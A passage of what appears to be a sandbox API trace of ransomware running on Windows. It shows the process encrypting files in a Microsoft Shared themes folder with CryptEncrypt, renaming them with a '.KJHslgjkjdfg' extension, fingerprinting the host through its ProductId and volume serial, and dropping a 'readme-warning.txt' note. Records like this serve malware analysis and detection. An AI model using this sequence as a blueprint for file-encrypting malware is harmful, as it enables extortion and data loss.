lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0173.874] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.875] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.875] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.875] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.875] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.875] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.875] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.875] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.875] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x20e, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x20e, lpOverlapped=0x0) returned 1 [0173.876] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x210, dwBufLen=0x210 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x210) returned 1 [0173.876] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.876] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x210, lpOverlapped=0x0) returned 1 [0173.876] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.876] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.876] SetEndOfFile (hFile=0x12c) returned 1 [0173.879] GetProcessHeap () returned 0x2ef0000 [0173.879] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0173.879] GetProcessHeap () returned 0x2ef0000 [0173.879] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.879] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf.kjhslgjkjdfg")) returned 1 [0173.887] CloseHandle (hObject=0x12c) returned 1 [0173.887] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x563, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0173.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.889] GetProcessHeap () returned 0x2ef0000 [0173.889] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.889] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.889] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.889] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xd, lpOverlapped=0x0) returned 1 [0173.895] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.895] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.895] GetProcessHeap () returned 0x2ef0000 [0173.895] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.895] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0173.895] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.895] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0173.895] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.895] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.896] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.896] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.896] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.896] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.896] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.896] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.896] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x563, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x563, lpOverlapped=0x0) returned 1 [0173.896] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x570, dwBufLen=0x570 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x570) returned 1 [0173.896] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.896] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x570, lpOverlapped=0x0) returned 1 [0173.897] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.897] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.897] SetEndOfFile (hFile=0x12c) returned 1 [0173.900] GetProcessHeap () returned 0x2ef0000 [0173.900] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.900] GetProcessHeap () returned 0x2ef0000 [0173.900] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.900] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.kjhslgjkjdfg")) returned 1 [0173.907] CloseHandle (hObject=0x12c) returned 1 [0173.907] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0173.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.907] GetProcessHeap () returned 0x2ef0000 [0173.907] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.908] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.908] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.908] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xd, lpOverlapped=0x0) returned 1 [0173.910] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.910] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.910] GetProcessHeap () returned 0x2ef0000 [0173.910] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.910] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0173.911] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.911] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0173.911] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.911] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.911] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.911] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.911] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.911] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.911] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.911] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.911] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xbbf3, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xbbf3, lpOverlapped=0x0) returned 1 [0173.913] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xbc00, dwBufLen=0xbc00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xbc00) returned 1 [0173.913] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.913] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xbc00, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xbc00, lpOverlapped=0x0) returned 1 [0173.914] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.914] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xbcd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.914] SetEndOfFile (hFile=0x12c) returned 1 [0173.918] GetProcessHeap () returned 0x2ef0000 [0173.918] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.918] GetProcessHeap () returned 0x2ef0000 [0173.918] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.918] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0173.919] CloseHandle (hObject=0x12c) returned 1 [0173.923] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0173.923] GetProcessHeap () returned 0x2ef0000 [0173.923] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.923] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.923] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0173.923] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.923] GetProcessHeap () returned 0x2ef0000 [0173.923] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0173.923] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.923] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0173.923] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.923] GetProcessHeap () returned 0x2ef0000 [0173.923] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0173.923] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.923] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0173.923] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.924] GetProcessHeap () returned 0x2ef0000 [0173.924] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0173.924] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.924] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0173.924] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.924] GetProcessHeap () returned 0x2ef0000 [0173.924] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0173.924] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.924] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0173.924] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.924] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0173.924] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0173.924] RegCloseKey (hKey=0x12c) returned 0x0 [0173.925] GetProcessHeap () returned 0x2ef0000 [0173.925] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0173.925] GetProcessHeap () returned 0x2ef0000 [0173.925] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0173.925] GetProcessHeap () returned 0x2ef0000 [0173.925] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0173.925] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.925] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0173.925] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.925] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0173.925] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0173.925] GetProcessHeap () returned 0x2ef0000 [0173.925] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0173.925] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0173.925] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0173.925] GetProcessHeap () returned 0x2ef0000 [0173.926] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0173.926] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\readme-warning.txt") returned 80 [0173.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.933] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0173.935] CloseHandle (hObject=0x12c) returned 1 [0173.935] GetProcessHeap () returned 0x2ef0000 [0173.935] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0173.935] GetProcessHeap () returned 0x2ef0000 [0173.935] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0173.935] GetProcessHeap () returned 0x2ef0000 [0173.935] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0173.935] GetProcessHeap () returned 0x2ef0000 [0173.935] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.935] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0173.936] GetProcessHeap () returned 0x2ef0000 [0173.936] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0173.936] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NETWORK", cAlternateFileName="")) returned 1 [0173.936] GetProcessHeap () returned 0x2ef0000 [0173.936] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x90) returned 0x2f425d0 [0173.936] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0173.936] GetProcessHeap () returned 0x2ef0000 [0173.936] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0173.936] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: 